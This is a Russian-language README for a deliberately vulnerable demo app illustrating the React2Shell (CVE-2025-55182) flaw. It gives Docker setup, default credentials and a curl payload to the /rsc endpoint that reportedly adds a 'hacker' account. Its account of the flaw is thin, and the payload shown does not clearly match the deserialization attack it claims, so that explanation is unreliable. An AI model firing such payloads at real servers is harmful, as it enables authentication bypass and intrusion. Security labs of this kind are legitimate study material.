Проект демонстрации уязвимости React CVE-2025-55182
⚠️ ПРЕДУПРЕЖДЕНИЕ О БЕЗОПАСНОСТИ
Этот проект демонстрирует критическую уязвимость удаленного выполнения кода (RCE) (CVE-2025-55182 / React2Shell) в React Server Components 19.1.1.
- ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ И ИССЛЕДОВАНИЙ БЕЗОПАСНОСТИ
- НИКОГДА не развертывайте в продакшене и не подвергайте воздействию ненадежных сетей
- Запускайте только в изолированных контролируемых средах
- Убедитесь в наличии соответствующих разрешений перед тестированием
Обзор
Этот проект демонстрирует CVE-2025-55182 (React2Shell), критическую уязвимость удаленного выполнения кода (RCE) в React Server Components 19.1.1. Приложение включает:
- Одностраничный сайт с аутентификацией по имени пользователя и паролю
- Реализация React Server Components (RSC)
- Конечная точка протокола RSC Flight (уязвимая)
- Конфигурация развертывания Docker
- POC эксплойт, демонстрирующий уязвимость
Структура проекта
react-cve-demo/
├── package.json # React 19.1.1 with react-server-dom-webpack
├── server.js # Custom React server with RSC support
├── src/
│ ├── App.jsx # Main React component
│ ├── Login.jsx # Login page component
│ ├── Dashboard.jsx # Protected page component
│ └── server-components/ # Server Components
│ └── AuthServer.jsx # Server-side auth logic
├── data/
│ └── users.json # User credentials storage
├── Dockerfile # Docker containerization
├── docker-compose.yml # Docker Compose setup
├── .dockerignore
├── exploit/
│ ├── poc.js # POC exploit script (Node.js)
│ └── poc.sh # POC exploit script (bash/curl)
└── README.md # This file
Предварительные требования
- Node.js 18+
- Docker и Docker Compose (опционально, для контейнерного развертывания)
- npm или yarn
Установка
Локальная разработка
- Клонируйте или скачайте этот репозиторий
- Установите зависимости:
- Запустите сервер:
- Откройте приложение по адресу http://localhost:3000
Развертывание в Docker
-
Соберите и запустите с Docker Compose:
docker-compose up --build
Или соберите и запустите вручную:
docker build -t react-cve-demo .
docker run -p 3000:3000 react-cve-demo
-
Откройте приложение по адресу http://localhost:3000
Порядок использования
Обычный процесс аутентификации
- Доступ к приложению: Перейдите по адресу http://localhost:3000
- Страница входа: Вы увидите форму входа
- Учетные данные по умолчанию:
- Имя пользователя:
admin, Пароль: securepassword123
- Имя пользователя:
user1, Пароль: password123
- Успешный вход: Вы будете перенаправлены на защищенную панель управления
- Выход: Нажмите кнопку выхода, чтобы вернуться на страницу входа
Демонстрация уязвимости
Уязвимость существует в механизме десериализации протокола RSC Flight. Эксплойт:
- Создает вредоносную сериализованную нагрузку, нацеленную на конечные точки серверных функций
- Использует небезопасную десериализацию для выполнения произвольного JavaScript
- Создает новую запись пользователя в JSON-файле
- Обходит аутентификацию с помощью новых учетных данных
Запуск POC эксплойта
Вариант 1: Node.js скрипт
Или с пользовательским целевым URL:
TARGET_URL=http://localhost:3000 node exploit/poc.js
Вариант 2: Bash скрипт
Или с пользовательским целевым URL:
TARGET_URL=http://localhost:3000 ./exploit/poc.sh
Вариант 3: Команда curl вручную
Однострочная версия:
curl -X POST http://localhost:3000/rsc -H "Content-Type: application/json" -d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'
Многострочная версия (для удобства чтения):
curl -X POST http://localhost:3000/rsc \
-H "Content-Type: application/json" \
-d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'
Примечание: Готовая к копированию однострочная команда также доступна в файле exploit/curl-oneline.txt
После эксплуатации
После запуска эксплойта:
- Эксплойт создает нового пользователя в
data/users.json
- Теперь вы можете войти с помощью только что созданных учетных данных:
- Имя пользователя:
hacker
- Пароль:
hacked123
- Это демонстрирует, как уязвимость может обойти аутентификацию
Технические детали
Уязвимость (CVE-2025-55182)
Уязвимость существует в React Server Components 19.1.1, а именно в:
- Компонент:
react-server-dom-webpack
- Версия: 19.1.1 (уязвимая)
- Проблема: Небезопасная десериализация в протоколе RSC Flight
- Влияние: Удаленное выполнение кода (RCE)
- CVSS: Критический
Реализация сервера
Сервер (server.js) реализует:
- HTTP-сервер Express.js
- Конечная точка протокола RSC Flight (
/rsc)
- Выполнение серверных функций (уязвимая конечная точка)
- Управление сессиями
- Обслуживание статических файлов
Система аутентификации
- Компонент входа: Форма на стороне клиента для ввода имени пользователя и пароля
- Серверный компонент аутентификации: Логика аутентификации на стороне сервера
- Хранилище пользователей: JSON-файл (
data/users.json) с учетными данными
- Защищенные маршруты: Панель управления требует аутентификации
Протокол RSC Flight
Конечная точка протокола RSC Flight принимает:
action: "callServerFunction": Выполнение серверных функций
action: "renderRSC": Рендеринг React Server Components
Уязвимость существует в том, как вызовы серверных функций десериализуются и выполняются.
Соображения безопасности
⚠️ Критические предупреждения
- Изолированная среда: Запускайте только в контролируемых изолированных средах
- Не для продакшена: Никогда не развертывайте уязвимый код в продакшене
- Сетевая изоляция: Не подвергайте воздействию ненадежных сетей
- Образовательная цель: Только для исследований безопасности и обучения
- Соблюдение законов: Убедитесь в наличии соответствующих разрешений перед тестированием
Лучшие практики
- Используйте выделенную виртуальную машину или контейнер для тестирования
- Отключите сетевой доступ, кроме localhost
- Не храните конфиденциальные данные в тестовой среде
- Очистите тестовые данные после демонстрации
- Следуйте практике ответственного раскрытия информации
Зависимости
- React: 19.1.1 (уязвимая версия)
- react-server-dom-webpack: 19.1.1 (уязвимый пакет)
- Express.js: ^4.18.2
- express-session: ^1.17.3
- Node.js: 18+
Устранение неполадок
Сервер не запускается
- Проверьте, что порт 3000 не занят
- Убедитесь, что версия Node.js 18 или выше
- Убедитесь, что все зависимости установлены (
npm install)
Эксплойт не работает
- Проверьте, что сервер запущен
- Проверьте, что конечная точка RSC доступна
- Просмотрите журналы сервера на наличие ошибок
- Убедитесь, что скрипт эксплойта имеет соответствующие разрешения
Проблемы с Docker
- Убедитесь, что Docker запущен
- Проверьте совместимость версий Docker Compose
- Убедитесь, что порт 3000 свободен
- Просмотрите журналы Docker:
docker-compose logs
Ссылки
- CVE-2025-55182: уязвимость React2Shell
- Документация React Server Components
- Спецификация протокола RSC Flight
Лицензия
Лицензия MIT - Только для образовательных целей
Отказ от ответственности
Данное программное обеспечение предоставляется только для образовательных целей и исследований в области безопасности. Авторы и участники не несут ответственности за любое неправомерное использование или ущерб, причиненный этим программным обеспечением. Используйте на свой страх и риск и соблюдайте все применимые законы и нормативные акты.